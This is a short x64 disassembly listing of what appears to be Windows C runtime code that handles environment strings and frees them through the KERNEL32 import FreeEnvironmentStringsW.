mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000d568
test eax, eax
jne 0x14000d725
mov rcx, rdi
call fcn.140009184
jmp 0x14000d72f
xor ecx, ecx
call fcn.140009184
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret